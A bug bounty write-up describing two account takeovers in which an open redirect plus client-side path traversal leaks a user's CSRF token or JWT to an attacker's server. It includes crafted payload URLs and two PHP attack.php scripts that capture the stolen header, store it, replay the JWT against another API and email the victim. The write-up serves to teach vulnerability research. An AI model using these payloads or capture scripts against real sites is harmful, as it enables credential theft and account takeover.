An open redirect was almost everything I needed in two different bug bounty programs to get access to user accounts. In one of the cases a JWT was leaked, and in the other the CSRF token was leaked. The issue was mostly the same in both cases: not validating, or URI encoding, user input in the client-side, and sending sensitive information to my server using an open redirect.
- There is an open redirect on https://example.com/redirect?url=https://myserver.com/attack.php
- User loads https://example.com/?code=VALUE
- Javascript code in https://example.com/ makes a GET request to https://example.com/verify/VALUE with a header
x-csrf-token
set to the CSRF token for the session of the userGET /verify/VALUE HTTP/1.1 Host: example.com x-csrf-token: the-csrf-token-of-the-user ...
- The issue is that if the user loads https://example.com/?code=../redirect%3furl%3dhttps://myserver.com/attack.php, the application makes the GET request of step 3 to https://example.com/redirect?url=https://myserver.com/attack.php, follows the redirection, and the
x-csrf-token
ends up being sent in a GET request to https://myserver.com/attack.php - attack.php stores the value of
x-csrf-token
or does anything that is necessary for the attackFor my proof of concept, I took the value of<?php // These headers are specific to this request. // Open your web browser Console whenever you are testing a similar issue // to check if there is any CORS issues that you have to fix in your response. header('Access-Control-Allow-Origin: *'); header('Access-Control-Allow-Headers: x-requested-with,x-csrf-token'); foreach (getallheaders() as $key => $value) { if ($key == 'x-csrf-token') { $token_file = fopen('csrf_token.txt', 'w'); fwrite($token_file, $value); fclose($token_file); } } ?>
x-csrf-token
and made changes to the profile of the user/victim on https://example.com.
- There is an open redirect on https://api.example.com/redirect?reference=xxxx-xxxx-xxxx-xxxx. This open redirect was different because first I had to make a request to another endpoint with the URL to which I wanted to redirect, and the "reference" value was returned in the response. Once I had that reference value, any request to https://api.example.com/redirect?reference=reference-value by any user, redirected to the URL I had sent in the first request.
- User loads https://example.com/app/VALUE
- Javascript code makes a GET request to https://api.example.com/check/VALUE/please with the header
Authorization
set toBearer JWT-of-the-authenticated-user
GET /check/VALUE/please HTTP/1.1 Host: api.example.com Authorization: Bearer JWT-of-the-authenticated-user ...
- The issue is that the attacker can create a redirect to https://myserver.com/attack.php, and when the user loads https://example.com/app/..%2fredirect%3freference%3dx-x-x-x%26 (
%26
is equal to&
once decoded, which was necessary to remove "/please" from the value of "reference"), the application makes a GET request to https://api.example.com/redirect?reference=x-x-x-x which redirects to https://myserver.com/attack.php with the JWT in theAuthorization
header - attack.php stores the JWT or does anything that is possible with it
For my proof of concept, I took the JWT, got information about the user/victim from other API which accepted the same JWT in the
<?php header('Access-Control-Allow-Origin: *'); header('Access-Control-Allow-Headers: authorization'); foreach (getallheaders() as $key => $value) { if ($key == 'Authorization') { $opts = array( 'http'=>array( 'method'=>'GET', 'header'=>'Authorization: '.$value ) ); $context = stream_context_create($opts); $file = file_get_contents('https://other-api.example.com/info', false, $context); $fh = fopen('out.txt', 'w'); fwrite($fh, $file); fclose($fh); $json = json_decode($file, true); $sent = mail($json['email'], 'Hi '.$json['name'], 'Your user id is '.$json['id'], 'From: attacker@myserver.com'); if ($sent) { echo 'Email sent'; } else { echo 'Couldn\'t send email'; } } } ?>
Authorization
header, and sent an email to the user/victim. The previous code is exactly what I used as proof of concept.
It is been a long time since I shared something that could be useful for new bug bounty hunters, I hope it is useful.